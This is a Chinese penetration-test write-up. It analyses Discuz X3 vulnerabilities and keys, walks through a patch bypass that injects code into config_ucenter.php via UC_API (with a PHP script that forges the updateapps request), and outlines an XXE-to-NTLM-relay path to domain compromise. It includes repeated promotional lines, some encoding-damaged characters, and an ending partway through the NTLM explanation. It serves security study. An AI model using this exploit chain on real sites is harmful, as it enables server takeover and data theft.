前言

本文是由一次真實(shí)的授權(quán)滲透案例引申而出的技術(shù)分析和總結(jié)文章。在文章中我們會(huì)首先簡(jiǎn)單介紹這次案例的整體滲透流程并進(jìn)行部分演繹，但不會(huì)進(jìn)行詳細(xì)的截圖和描述，一是怕“有心人”發(fā)現(xiàn)端倪去目標(biāo)復(fù)現(xiàn)漏洞和破壞，二是作為一線攻擊人員，大家都明白滲透過程也是一個(gè)試錯(cuò)過程，針對(duì)某一個(gè)點(diǎn)我們可能嘗試了無數(shù)種方法，最后寫入文章的只有成功的一種，而這種方法很有可能也是眾所周知的方法。因此我們只會(huì)簡(jiǎn)單介紹滲透流程，然后提取整個(gè)滲透過程中比較精華的點(diǎn)，以點(diǎn)及面來進(jìn)行技術(shù)分析和探討，望不同的人有不同的收獲。
白嫖的福音網(wǎng)安學(xué)習(xí)資料》》

滲透流程簡(jiǎn)述

在接到項(xiàng)目以后，由“前端”小組（初步技術(shù)分析小組）進(jìn)行項(xiàng)目分析和信息收集以及整理，整理出了一批域名和一些關(guān)鍵站點(diǎn)，其中有一個(gè)phpmyadmin 和 discuz的組合建站，且均暴露在外網(wǎng)，這也是很常見的一種情況。由于網(wǎng)站某個(gè)web端口的解析配置問題導(dǎo)致了php不被解析而形成任意文件下載漏洞，通過這個(gè)漏洞我們拿到了mysql的root賬戶密碼。由于linux服務(wù)器權(quán)限設(shè)置比較嚴(yán)格的問題沒法直接使用phpmyadmin登錄mysql而提權(quán)拿到discuz的webshell。經(jīng)過多種嘗試我們利用phpmyadmin替換管理員hash而登錄discuz后臺(tái)，在discuz后臺(tái)利用修改ucenter配置文件的漏洞寫入了webshell。

在進(jìn)入內(nèi)網(wǎng)以后，通過簡(jiǎn)單的80、443探測(cè)內(nèi)網(wǎng)的web時(shí)候發(fā)現(xiàn)了一個(gè)含有java webdav的服務(wù)（域內(nèi)windows，后文中以A服務(wù)器稱呼），利用java webdav的xxe去執(zhí)行NTLM Relay。同時(shí)收集discuz數(shù)據(jù)庫(kù)中用戶名利用kerberos AS_REQ和密碼噴射(一個(gè)密碼和不同用戶名的組合去KDC枚舉)幸運(yùn)的獲得了一組域內(nèi)用戶的賬戶和密碼，利用這個(gè)用戶增加了一個(gè)機(jī)器賬戶。結(jié)合NTLM Relay和這個(gè)機(jī)器賬戶利用基于資源的約束委派，成功的使這個(gè)機(jī)器賬戶具有了控制A服務(wù)器的權(quán)限。登錄A服務(wù)器繞過卡巴斯基抓取到了域管理密碼，這次攻堅(jiān)任務(wù)也因此而結(jié)束。圖示如下：

在這次滲透流程中我們認(rèn)為Discuz x3系列和xxe到域控這兩個(gè)點(diǎn)是值得拿出來分析和探討的。白嫖的福音網(wǎng)安學(xué)習(xí)資料》》

Discuz X3系列

本節(jié)分為3部分，首先將對(duì)Discuz X3以后的版本出現(xiàn)的主要漏洞做一個(gè)簡(jiǎn)單總結(jié)，然后針對(duì)discuz的幾種密鑰做一些分析，最后發(fā)布一個(gè)discuz最新的后臺(tái)getshell。

以后漏洞總結(jié)

目前市面上基本都是x3以上的Discuz程序了，x3以下的網(wǎng)站占比已經(jīng)非常低了，因此在此只總結(jié)x3以上的漏洞。總結(jié)并不是對(duì)每個(gè)漏洞進(jìn)行重新分析，這是沒有必要的，網(wǎng)上已經(jīng)有很多優(yōu)秀的分析文章了。那我們?yōu)槭裁催€要總結(jié)呢？如果你是在一線做滲透測(cè)試或者紅隊(duì)評(píng)估的同學(xué)，應(yīng)該會(huì)經(jīng)常遇到discuz，往往大部分同學(xué)一看程序版本再搜搜漏洞或者群里問問就放棄了。在大家的印象中discuz是一塊硬骨頭，沒必要耗太多時(shí)間在它身上，但事實(shí)上discuz并不是你所想象的那么安全。本小節(jié)將通過總結(jié)discuz的各種小漏洞，再結(jié)合我們自己的幾次對(duì)discuz目標(biāo)的突破，提出一些利用思路和利用可能。

類型適用版本適用條件利用分析分析文章

SSRF	<= x3.4 修復(fù)補(bǔ)丁	1.windows 2.php>5.3+php-curl<=7.54 3.DZ開放在80端口	SSRF的利用主要是攻擊其他服務(wù),大部分情況都需要利用到gopher協(xié)議 在DZ中需要利用緩存(redis,memcache)getshell，當(dāng)然gopher模擬的tcp協(xié)議，如果服務(wù)器或內(nèi)網(wǎng)中存在其他的可利用服務(wù)也是可以精心構(gòu)造數(shù)據(jù)表利用的。	1.Discuz x3.4前臺(tái)SSRF分析 2.DiscuzX 兩處 SSRF 挖掘及利用 3.Discuz!因Memcached未授權(quán)訪問導(dǎo)致的RCE
任意文件刪除	<= x3.4 修復(fù)補(bǔ)丁	前臺(tái)用戶權(quán)限	Discuz 在安裝成功后,登陸后臺(tái)就會(huì)刪除安裝文件,所以重裝利用是不能實(shí)現(xiàn)的。 現(xiàn)實(shí)中的主要利用集中于刪除index.htm文件，再利用目錄遍歷去獲取備份文件，通過備份文件中的各種敏感信息（各種KEY,hash），然后再進(jìn)一步利用。	Discuz!X ≤3.4 任意文件刪除漏洞分析
短文件名 漏洞	未修復(fù)	windows	看似是比較雞肋的小技巧，但在猜一些隨機(jī)命令的文件名時(shí)非常有用，比如：利用短文件名我們可以下載數(shù)據(jù)庫(kù)備份文件（文件名中含有隨機(jī)字符），利用備份文件我們可以嘗試解密用戶密碼。	https://gitee.com/ComsenzDiscuz/DiscuzX/issues/I10NG9
authkey 預(yù)測(cè)	<x 3.4	無	問題的本質(zhì)在于mt_rand() 在同一個(gè)進(jìn)程中共享隨機(jī)數(shù)種子。利用猜解的authkey我們可以破解discuz主題功能的加密校驗(yàn)過程	Discuz_X authkey安全性漏洞分析
后臺(tái)sql注入	<=3.4 修復(fù)補(bǔ)丁	后臺(tái)權(quán)限	discuz后臺(tái)已經(jīng)具備數(shù)據(jù)庫(kù)備份功能，所以select 注入作用將減小很多，該漏洞的最大意義在于mysql較低版本的寫文件getshell(這里向discuz備份目錄寫也不行，因?yàn)閐iscuz的mkdir設(shè)置的0777,但是受到umask的影響，實(shí)際寫入的是0755,所以寫文件也比較困難)，但由于x3后臺(tái)沒有了直接執(zhí)行sql的功能，如果有一個(gè)注入，我們可以夸庫(kù)查詢，搞定同mysql的其他網(wǎng)站。	Discuz! X系列全版本后臺(tái)Sql注入漏洞
后臺(tái)注入漏洞	<=3.4 修復(fù)補(bǔ)丁	后臺(tái)權(quán)限	由于是update型注入，我們?cè)诤笈_(tái)已經(jīng)可以利用數(shù)據(jù)庫(kù)備份獲得數(shù)據(jù)，對(duì)本網(wǎng)站意義不大，但是有同mysql的其他網(wǎng)站，如果權(quán)限不嚴(yán)，夸庫(kù)查詢，搞定同mysql的其他網(wǎng)站。	SQL注入
后臺(tái)設(shè)置mysql任意文件讀取	<=3.4 修復(fù)補(bǔ)丁	后臺(tái)權(quán)限	通過文件讀取后，我們可以結(jié)合uc_key、authkey等key的利用。	Mysql任意文件讀取攻擊鏈拓展
后臺(tái)命令執(zhí)行	1.5-2.5 修復(fù)補(bǔ)丁	后臺(tái)權(quán)限	這個(gè)漏洞是命令注入漏洞，但是由于開發(fā)者的失誤，導(dǎo)致3.x不可用。漏洞本身也是在x3.4才被修復(fù)	CVE-2018-14729
Memcached未授權(quán)訪問導(dǎo)致的RCE	<=3.4	memcached 權(quán)限	需要memcached的修改權(quán)限，這個(gè)權(quán)限可以來自于ssrf，也可以來自于未授權(quán)	Discuz!因Memcached未授權(quán)訪問導(dǎo)致的RCE
Discuz! X3.1后臺(tái)任意代碼執(zhí)行	<=x3.1	后臺(tái)權(quán)限	x3.1中間版本的getshell方法，用作參考	Discuz! X3.1后臺(tái)任意代碼執(zhí)行
后臺(tái)uc_center代碼執(zhí)行	< 3.4 修復(fù)補(bǔ)丁	后臺(tái)權(quán)限	利用分析請(qǐng)看下面的文章內(nèi)容	本文分析

總結(jié)：

針對(duì)于discuz的ssrf漏洞，在補(bǔ)丁 中限制了對(duì)內(nèi)網(wǎng)ip的訪問，導(dǎo)致了很難被利用。
在后臺(tái)getshell中，建議使用uc_center rce比較方便，并且通殺包括最新版本，后文有分析。
UC_KEY 直接getshell已在x3以上的最新版本被修復(fù)，但在一些老的3.2以前的版本可能被利用。
以上這些漏洞應(yīng)該并不全面，且看似都比較雞肋，但往往千里之堤毀于蟻穴，幾個(gè)不起眼的小漏洞組合一下會(huì)發(fā)現(xiàn)威力巨大。仔細(xì)的讀者應(yīng)該發(fā)現(xiàn)以上漏洞大部分能夠造成的最大危害是信息泄露，信息泄露有什么用呢？下面我們將接著分析Discuz的幾種密鑰，看到這兒你應(yīng)該已經(jīng)明白了，通過信息泄露，獲得相關(guān)密鑰，突破discuz的加密體系，進(jìn)而獲取更高的權(quán)限。

Discuz的幾種密鑰分析

通過分析，在discuz中,主要有下面的幾種密鑰, 這些密鑰共同構(gòu)成了discuz的加密解密體系，這里的命名有重復(fù)，我已經(jīng)標(biāo)記了對(duì)應(yīng)key值以及key所在的位置。如下表所示：

主要探討的其實(shí)就只有authkey,UC_KEY(dz),UC_KEY(uc_server),UC_MYKEY,authkey(uc_server) 5種,我們首先來看著幾個(gè)密鑰是怎么來的最后又到了哪兒去。

密鑰的產(chǎn)生

authkey,UC_KEY(dz),UC_KEY(uc_server),UC_MYKEY 都是在安裝的時(shí)候產(chǎn)生。authkey(uc_server)的產(chǎn)生是和UC_MYKEY息息相關(guān)的，在后文中詳細(xì)講述。生成代碼如下所示：

//https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/install/index.php <?php ...$uid = DZUCFULL ? 1 : $adminuser['uid'];$authkey = md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 8)).random(18);$_config['db'][1]['dbhost'] = $dbhost;$_config['db'][1]['dbname'] = $dbname;$_config['db'][1]['dbpw'] = $dbpw;$_config['db'][1]['dbuser'] = $dbuser;$_config['db'][1]['tablepre'] = $tablepre;$_config['admincp']['founder'] = (string)$uid;$_config['security']['authkey'] = $authkey;$_config['cookie']['cookiepre'] = random(4).'_';$_config['memory']['prefix'] = random(6).'_';save_config_file(ROOT_PATH.CONFIG, $_config, $default_config);$db = new dbstuff;$db->connect($dbhost, $dbuser, $dbpw, $dbname, DBCHARSET);if(!VIEW_OFF) {show_header();show_install();}if(DZUCFULL) {install_uc_server();} ...$db->query("REPLACE INTO {$tablepre}common_setting (skey, svalue) VALUES ('authkey', '$authkey')"); ... ?>

我們看見key的產(chǎn)生都依賴于discuz 自定義的random函數(shù)，出現(xiàn)過的authkey爆破問題也因此產(chǎn)生。在安裝時(shí)由于處于同一個(gè)cgi進(jìn)程，導(dǎo)致mt_rand() 只播種了一次種子，所以產(chǎn)生了隨機(jī)數(shù)種子爆破和推測(cè)key的問題，在3.4版本中，authkey的產(chǎn)生已經(jīng)是拼接了完整的32位字符串，導(dǎo)致了無法進(jìn)行爆破推算出authkey的前半部，因此這個(gè)問題已經(jīng)被修復(fù)，但這個(gè)漏洞原理值得學(xué)習(xí)。代碼最后可以看出authkey產(chǎn)生后還放入了數(shù)據(jù)庫(kù)中，最終authkey存在于數(shù)據(jù)庫(kù)pre_common_setting表和/config/config_global.php配置文件。 代碼中的 instal_uc_server()函數(shù)實(shí)現(xiàn)了UC_KEY(dz),UC_KEY(uc_server)的產(chǎn)生，使用了同一個(gè)生成函數(shù)_generate_key()，代碼如下：

function _generate_key() {$random = random(32);$info = md5($_SERVER['SERVER_SOFTWARE'].$_SERVER['SERVER_NAME'].$_SERVER['SERVER_ADDR'].$_SERVER['SERVER_PORT'].$_SERVER['HTTP_USER_AGENT'].time());$return = array();for($i=0; $i<32; $i++) {$return[$i] = $random[$i].$info[$i];}return implode('', $return); }

產(chǎn)生的算法牽扯到安裝環(huán)境和安裝過程的http header信息，導(dǎo)致爆破基本失效，從而無法預(yù)測(cè)，最后UC_KEY(dz)保存到了/config/config_ucenter.php中，UC_KEY(uc_server)保存到了/uc_server/data/config.inc.php中。

Discuz Key的相關(guān)思考

我們通過查看源碼，去分析每個(gè)key影響的功能，通過這些功能點(diǎn)，我們可以去獲得更多的信息。信息的整合和利用往往是我們滲透的關(guān)鍵。下面我們將做一些拋磚引玉的思考并舉一些例子，但不會(huì)面面俱到一一分析，這樣也沒有意義，具體的代碼還是需要讀者自己親自去讀才能印象深刻。白嫖的福音網(wǎng)安學(xué)習(xí)資料》》

1. authkey
authkey的使用在discuz主程序中占比很重，主要用戶數(shù)據(jù)的加密存儲(chǔ)和解密使用，比如alipay相關(guān)支付數(shù)據(jù)的存儲(chǔ)和使用、FTP密碼的存儲(chǔ)等等；還用于一些功能的校驗(yàn)，比如驗(yàn)證碼的校驗(yàn)、上傳hash的校驗(yàn)等等；用戶權(quán)限的校驗(yàn)也用到了authkey，比如source/class/discuz/discuz_application.php 中_init_user() 利用authkey解碼了cookie中的auth字段，并利用解開的uid和pw進(jìn)行權(quán)限校驗(yàn)，但是光知道authkey并不能完成權(quán)限校驗(yàn)，我們還需要知道用戶的”密碼hash“(數(shù)據(jù)庫(kù)pre_common_member表中的password字段，此處存儲(chǔ)的只是一個(gè)隨機(jī)值的md5，真正的用戶密碼hash在pre_ucenter_members中)，當(dāng)我們通過其他方法可以讀取數(shù)據(jù)庫(kù)數(shù)據(jù)時(shí)，我們就可以偽造登陸信息進(jìn)行登陸，再比如source/include/misc/misc_emailcheck.php中authkey的參與了校驗(yàn)hash的生成，當(dāng)我們知道了authkey后，通過偽造hash，我們可以修改用戶的注冊(cè)郵箱，然后利用密碼找回來登陸前臺(tái)用戶(管理員不能使用密碼找回功能)。

2. UC_KEY(dz)
UC_KEY(dz)也是經(jīng)常提到的UC_KEY GetWebShell的主角。它主要在2個(gè)地方被使用：一個(gè)是數(shù)據(jù)庫(kù)備份api/db/dbbak.php；一個(gè)是針對(duì)用戶以及登錄和緩存文件相關(guān)的操作，主要函數(shù)位于api/uc.php中的uc_note類。

關(guān)于UC_KEY(dz)的利用，網(wǎng)上基本都是通過uc.php來GetWebShell，但這個(gè)漏洞在新版本已經(jīng)被修復(fù)了。UC_KEY(dz)的利用并不局限與此，你去閱讀dbbak.php代碼就會(huì)發(fā)現(xiàn)，有了UC_KEY(dz)我們可以直接備份數(shù)據(jù)庫(kù)，下載數(shù)據(jù)庫(kù)，從數(shù)據(jù)庫(kù)中找到相關(guān)信息進(jìn)行進(jìn)一步滲透。

另外一個(gè)地方就是uc_note類，比如里面的synlogin()函數(shù)可以偽造登陸任意前臺(tái)用戶。當(dāng)然還有其他的函數(shù)，在這里就不一一分析。

3. UC_KEY(uc_server)
UC_KEY(uc_server)往往是被大家忽視的一個(gè)key，它其實(shí)比UC_KEY(dz)的使用更多。首先他同樣可以備份數(shù)據(jù)庫(kù)，對(duì)discuz代碼比較熟悉的同學(xué)應(yīng)該知道dbbak.php這個(gè)文件有2個(gè)，一個(gè)是上面提到的api/db/dbbak.php；另外一個(gè)是uc_server/api/dbbak.php，他們的代碼可以說幾乎相同。唯一的區(qū)別是api/db/dbbak.php中多了2個(gè)常量的定義，基本沒有太大影響。這個(gè)2個(gè)文件都能被UC_KEY(dz)和UC_KEY(uc_server)操控。

UC_KEY(uc_server)幾乎管控了Ucenter的所有和權(quán)限認(rèn)證相關(guān)的功能。例如權(quán)限驗(yàn)證函數(shù) sid_decode() ，在該函數(shù)中UC_KEY(uc_server)和用戶可控的http header共同產(chǎn)生了用于權(quán)限認(rèn)證的sid，因此我們可以偽造sid繞過一些權(quán)限檢測(cè)。還有seccode的相關(guān)利用，在這里就不一一介紹。

整個(gè)discuz的程序其實(shí)是包含了discuz主程序和Ucenter，Ucenter更依賴于固定密鑰體系，個(gè)人感覺Ucenter的漏洞可能要比discuz主程序好挖些，你可以去試試。

4. UC_MYKEY
UC_MYKEY主要用來加密和解密UC_KEY(discuz)，如下所示：

UC_KEY(dz) ----- authcode(UC_MYKEY, ENCODE) ----> authkey(uc_server)authkey(uc_server) ----- authcode(UC_MYKEY, DECODE) ----> UC_KEY(dz)

authkey(uc_server)存儲(chǔ)在數(shù)據(jù)庫(kù)的pre_ucenter_applications中的authkey字段，authkey(uc_server)生成的代碼如下:

//https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/uc_server/control/admin/app.php <?php ...$authkey = getgpc('authkey', 'P');$authkey = $this->authcode($authkey, 'ENCODE', UC_MYKEY);$synlogin = getgpc('synlogin', 'P'); ...$app = $this->db->result_first("SELECT COUNT(*) FROM ".UC_DBTABLEPRE."applications WHERE name='$name'");if($app) {$this->message('app_add_name_invalid', 'BACK');} else {$extra = serialize(array('apppath'=> getgpc('apppath', 'P')));$this->db->query("INSERT INTO ".UC_DBTABLEPRE."applications SET name='$name', url='$url', ip='$ip',viewprourl='$viewprourl', apifilename='$apifilename', authkey='$authkey', synlogin='$synlogin',type='$type', recvnote='$recvnote', extra='$extra',tagtemplates='$tagtemplates'");$appid = $this->db->insert_id();} ... ?>

現(xiàn)在我們就可以知道其實(shí)UC_KEY(dz)是可以從2個(gè)地方獲取到的，一個(gè)是配置文件，一個(gè)是數(shù)據(jù)庫(kù)。對(duì)discuz比較熟悉的同學(xué)這里會(huì)發(fā)現(xiàn)一個(gè)問題，通過注入獲得的authkey (uc_server)，有時(shí)候可以直接當(dāng)UC_KEY(dz)用，但有時(shí)候發(fā)現(xiàn)是一個(gè)大于64位的字符串或小于64位的字符串。這個(gè)是因?yàn)?#xff0c;如果你是默認(rèn)discuz主程序和Ucenter安裝，這個(gè)時(shí)候數(shù)據(jù)庫(kù)pre_ucenter_applications中的authkey字段存儲(chǔ)的就是UC_KEY(dz)，如果你通過ucenter后臺(tái)修改過UC_KEY(dz)，數(shù)據(jù)庫(kù)pre_ucenter_applications中的authkey字段存儲(chǔ)的就是通過上面提到的算法計(jì)算出來的結(jié)果了，這個(gè)結(jié)果的長(zhǎng)度是變化的，是一個(gè)大于等于40位的字符串。

總結(jié)

針對(duì)于getshell來說，在x3以前的低版本和部分未更新的x3.2以前版本，我們可以直接利用discuz的uc_key(dz)結(jié)合api/uc.php前臺(tái)getshell,獲得uc_key(dz)的方法有:

數(shù)據(jù)庫(kù)中的authkey(uc_server)結(jié)合UC_MYKEY，這個(gè)在UCenter后臺(tái)也能看見，沒有使用*顯示。
文件泄露等問題獲得uc_key(dz)
在x3版本以后，對(duì)于key的利用主要集中在操作數(shù)據(jù)庫(kù)和UCenter功能上，利用各種辦法進(jìn)入discuz后臺(tái)，結(jié)合接下來講到的后臺(tái)GetWebShell的方法獲取最終權(quán)限。

后臺(tái)GetWebShell的補(bǔ)丁繞過

在小于x3.4的版本中，網(wǎng)上已經(jīng)公布的利用方法是：后臺(tái)修改Ucenter數(shù)據(jù)庫(kù)連接信息，由于寫入未轉(zhuǎn)義，一句話木馬直接寫入config/config_ucenter.php文件中，導(dǎo)致代碼執(zhí)行。

但是在新版本的x3.4中已經(jīng)修復(fù)了這個(gè)漏洞，代碼如下：

// https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/source/admincp/admincp_setting.php x3.4 <?php ...if($operation == 'uc' && is_writeable('./config/config_ucenter.php') && $isfounder) {require_once './config/config_ucenter.php';$ucdbpassnew = $settingnew['uc']['dbpass'] == '********' ? addslashes(UC_DBPW) : addslashes($settingnew['uc']['dbpass']);$settingnew['uc']['key'] = addslashes($settingnew['uc']['key'] == '********' ? addslashes(UC_KEY) : $settingnew['uc']['key']);if(function_exists("mysql_connect") && ini_get("mysql.allow_local_infile")=="1" && constant("UC_DBHOST") != $settingnew['uc']['dbhost']){cpmsg('uc_config_load_data_local_infile_error', '', 'error');}if($settingnew['uc']['connect']) {$uc_dblink = function_exists("mysql_connect") ? @mysql_connect($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew, 1) : new mysqli($settingnew['uc']['dbhost'], $settingnew['uc']['dbuser'], $ucdbpassnew);if(!$uc_dblink) {cpmsg('uc_database_connect_error', '', 'error');} else {if(function_exists("mysql_connect")) {mysql_close($uc_dblink);} else {$uc_dblink->close();}}}$fp = fopen('./config/config_ucenter.php', 'r');$configfile = fread($fp, filesize('./config/config_ucenter.php'));$configfile = trim($configfile);$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;fclose($fp);$connect = '';$settingnew['uc'] = daddslashes($settingnew['uc']);if($settingnew['uc']['connect']) {$connect = 'mysql';$samelink = ($dbhost == $settingnew['uc']['dbhost'] && $dbuser == $settingnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);$samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');$configfile = str_replace("define('UC_DBHOST', '".addslashes(UC_DBHOST)."')", "define('UC_DBHOST', '".$settingnew['uc']['dbhost']."')", $configfile);$configfile = str_replace("define('UC_DBUSER', '".addslashes(UC_DBUSER)."')", "define('UC_DBUSER', '".$settingnew['uc']['dbuser']."')", $configfile);$configfile = str_replace("define('UC_DBPW', '".addslashes(UC_DBPW)."')", "define('UC_DBPW', '".$ucdbpassnew."')", $configfile); ... ?>

補(bǔ)丁對(duì) $ucdbpassnew 進(jìn)行了轉(zhuǎn)義，而且if(function_exists(“mysql_connect”) && ini_get(“mysql.allow_local_infile”)==“1” && constant(“UC_DBHOST”) != $settingnew[‘uc’][‘dbhost’]), 該補(bǔ)丁還解決了惡意mysql文件讀取的問題。

繞過補(bǔ)丁

通過補(bǔ)丁，我們知道了所有的Ucenter配置參數(shù)都會(huì)進(jìn)行轉(zhuǎn)義，但是我發(fā)現(xiàn)discuz的配置文件更改，都是利用字符替換完成的，在替換字符中，很容易出現(xiàn)問題，所以在源碼中尋找配置修改的相關(guān)代碼，最后在 api/uc.php 中找到了利用點(diǎn)。

//https://gitee.com/ComsenzDiscuz/DiscuzX/blob/v3.4-20191201/upload/api/uc.php <?php... if(!defined('IN_UC')) {require_once '../source/class/class_core.php';$discuz = C::app();$discuz->init();require DISCUZ_ROOT.'./config/config_ucenter.php';$get = $post = array();$code = @$_GET['code'];parse_str(authcode($code, 'DECODE', UC_KEY), $get);if(time() - $get['time'] > 3600) {exit('Authracation has expiried');}if(empty($get)) {exit('Invalid Request');}include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php';$post = xml_unserialize(file_get_contents('php://input'));if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings', 'addfeed'))) {$uc_note = new uc_note();echo call_user_func(array($uc_note, $get['action']), $get, $post);exit();} else {exit(API_RETURN_FAILED);} } else {exit; } ...function updateapps($get, $post) {global $_G;if(!API_UPDATEAPPS) {return API_RETURN_FORBIDDEN;}$UC_API = '';if($post['UC_API']) {$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);unset($post['UC_API']);}$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/apps.php';$fp = fopen($cachefile, 'w');$s = "<?php\r\n";$s .= '$_CACHE[\'apps\'] = '.var_export($post, TRUE).";\r\n";fwrite($fp, $s);fclose($fp);if($UC_API && is_writeable(DISCUZ_ROOT.'./config/config_ucenter.php')) {if(preg_match('/^https?:\/\//is', $UC_API)) {$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {@fwrite($fp, trim($configfile));@fclose($fp);}}}return API_RETURN_SUCCEED;} ... ?>

在 updateapps 函數(shù)中完成了對(duì) uc_api 的更新，這里的正則在匹配時(shí)是非貪婪的，這里就會(huì)存在一個(gè)問題，當(dāng)uc_api為 define(‘UC_API’, ‘http://127.0.0.1/discuz34/uc_server’);phpinfo();//’); 時(shí)，我們執(zhí)行updateapps函數(shù)來更新uc_api時(shí)就會(huì)將phpinfo();釋放出來。 要使用updateapps進(jìn)行來更新uc_api，我們需要知道UC_KEY(dz)的值，而UC_KEY(dz)的值，恰好是我們后臺(tái)可以設(shè)置的。

利用分析

進(jìn)入后臺(tái)站長(zhǎng)-Ucenter設(shè)置，設(shè)置UC_KEY=隨意(一定要記住，后面要用), UC_API= http://127.0.0.1/discuz34/uc_server’);phpinfo();//

成功寫進(jìn)配置文件，這里單引號(hào)被轉(zhuǎn)移了，我們接下來使用UC_KEY(dz)去調(diào)用api/uc.php中的updateapps函數(shù)更新UC_API。

利用UC_KEY(dz) 生成code參數(shù)，使用過UC_KEY(dz) GetWebShell的同學(xué)肯定不陌生，這里使用的UC_KEY(dz)就是上面我們?cè)O(shè)置的。

<?php $uc_key="123456";// $time = time() + 720000; $str = "time=".$time."&action=updateapps"; $code = authcode($str,"ENCODE",$uc_key); $code = str_replace('+','%2b',$code); $code = str_replace('/','%2f',$code); echo $code;function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {$ckey_length = 4;$key = md5($key != '' ? $key : '123456');$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc.str_replace('=', '', base64_encode($result));} } ?>

將生成的數(shù)據(jù)帶入GET請(qǐng)求中的code 參數(shù)，發(fā)送數(shù)據(jù)包

訪問 http://127.0.0.1/discuz34/config/config_ucenter.php 代碼執(zhí)行成功

到此成功GetWebShell，在這個(gè)過程中，有一點(diǎn)需要注意的是，我們修改了程序原有的UC_KEY(dz)，成功GetWebShell以后一定要修復(fù)，有2中方法：

從數(shù)據(jù)庫(kù)中讀取authkey(uc_server)，通過UC_MYKEY解密獲得UC_KEY(dz)，當(dāng)然有可能authkey(uc_server)就是UC_KEY(dz)。
直接進(jìn)入U(xiǎn)center后臺(tái)修改UC_KEY，修改成我們GetWebShell過程中所設(shè)置的值。
白嫖的福音網(wǎng)安學(xué)習(xí)資料》》

XXE to 域控

在本節(jié)中我們會(huì)講到WEBDAV XXE（JAVA）利用NTLM Relay和一個(gè)機(jī)器賬戶去設(shè)置基于資源的約束委派來RCE的故事。當(dāng)然繞過卡巴斯基dump lsass也是非常的精彩。流程圖示如下：

WEBDAV XXE

前文中已經(jīng)提到了我們進(jìn)入內(nèi)網(wǎng)后發(fā)現(xiàn)一臺(tái)部署著java應(yīng)用的web服務(wù)器，并探測(cè)出該網(wǎng)站存在/webdav目錄。

在一個(gè)國(guó)外安全研究員的ppt(What should a hacker know about WebDav? )中這樣提到： 一般webdav支持多種http方法，而PROPPATCH、PROPFIND、 LOCK等方法接受XML作為輸入時(shí)會(huì)形成xxe。

我們探測(cè)下支持的http方法：

我們?cè)跍y(cè)試PROPFIND方法時(shí)成功收到了xxe請(qǐng)求：

常規(guī)的xxe一般會(huì)想到任意文件讀取、以及網(wǎng)上提到的利用gopher打redis等。在《Ghidra 從 XXE 到 RCE》中提到利用java xxe做ntlm relay操作。由于sun.net.www.protocol.http.HttpURLConnection 發(fā)送HTTP請(qǐng)求遇到狀態(tài)碼為401的HTTP返回頭時(shí)，會(huì)判斷該頁(yè)面要求使用哪種認(rèn)證方式，若攻擊者回復(fù)要求采用NTLM認(rèn)證則會(huì)自動(dòng)使用當(dāng)前用戶憑據(jù)進(jìn)行認(rèn)證。

現(xiàn)在我們成功獲取到了NTLM認(rèn)證請(qǐng)求，接下來就是NTLM中繼了。

NTLM中繼和域機(jī)器賬戶添加

什么是NTLM中繼
相信大家都不陌生，要理解什么是NTLM中繼首先要知道NTLM認(rèn)證的大致流程，這里做個(gè)簡(jiǎn)單講述，詳細(xì)請(qǐng)參考The NTLM Authentication Protocol and Security Support Provider。

NTLM身份驗(yàn)證協(xié)議中包含3個(gè)步驟：

協(xié)商：NTLM身份驗(yàn)證的第一步是協(xié)議的協(xié)商，以及客戶端支持哪些功能。在此階段，客戶端將身份驗(yàn)證請(qǐng)求發(fā)送到服務(wù)器，其中包括客戶端接受的NTLM版本。
質(zhì)詢：服務(wù)器以自己的消息作為響應(yīng)，指示其接受的NTLM版本以及要使用的功能。該消息還包括challenge值。
響應(yīng)：收到challenge后客戶端用hash將challenge加密，作為NTLM Response字段發(fā)送給服務(wù)器。
